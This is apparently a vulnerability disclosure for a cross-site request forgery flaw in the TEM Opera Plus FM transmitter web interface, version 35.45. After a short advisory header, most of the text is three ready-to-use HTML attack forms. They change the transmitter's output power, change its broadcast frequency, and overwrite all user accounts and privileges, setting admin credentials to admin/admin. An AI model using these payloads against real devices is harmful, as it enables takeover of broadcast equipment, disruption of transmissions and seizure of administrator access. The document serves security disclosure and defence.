<!-- TEM Opera Plus FM Family Transmitter 35.45 XSRF Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l. Product web page: https://www.tem-italy.it Affected version: Software version: 35.45 Webserver version: 1.7 Summary: This new line of Opera plus FM Transmitters combines very high efficiency, high reliability and low energy consumption in compact solutions. They have innovative functions and features that can eliminate the costs required by additional equipment: automatic exchange of audio sources, built-in stereo encoder, integrated RDS encoder, parallel I/O card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP Webserver. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Webserver Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5800 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5800.php 18.08.2023 --> CSRF Change Forward Power: ------------------------- <html> <body> <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain"> <input type="hidden" name="Pwr" value="00100" /> <input type="submit" value="Change" /> </form> </body> </html> CSRF Change Frequency: --------------------- <html> <body> <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain"> <input type="hidden" name="Freq" value="95.5" /> <input type="submit" value="Change" /> </form> </body> </html> CSRF Change User/Pass/Priv Change Admin/User/Pass: ------------------------------------------------- <html> <body> <form action="http://192.168.1.2:8000/protect/accounts.htm" method="POST"> <input type="hidden" name="usr0" value="admin" /> <input type="hidden" name="psw0" value="admin" /> <input type="hidden" name="usr1" value="operator1" /> <input type="hidden" name="psw1" value="operator1" /> <input type="hidden" name="lev1" value="1" /> <input type="hidden" name="usr2" value="operator2" /> <input type="hidden" name="psw2" value="operator2" /> <input type="hidden" name="lev2" value="1" /> <input type="hidden" name="usr3" value="consulter1" /> <input type="hidden" name="psw3" value="consulter1" /> <input type="hidden" name="lev3" value="2" /> <input type="hidden" name="usr4" value="consulter2" /> <input type="hidden" name="psw4" value="consulter2" /> <input type="hidden" name="lev4" value="2" /> <input type="hidden" name="usr5" value="consulter3" /> <input type="hidden" name="psw5" value="consulter3" /> <input type="hidden" name="lev5" value="2" /> <input type="submit" value="Change" /> </form> </body> </html>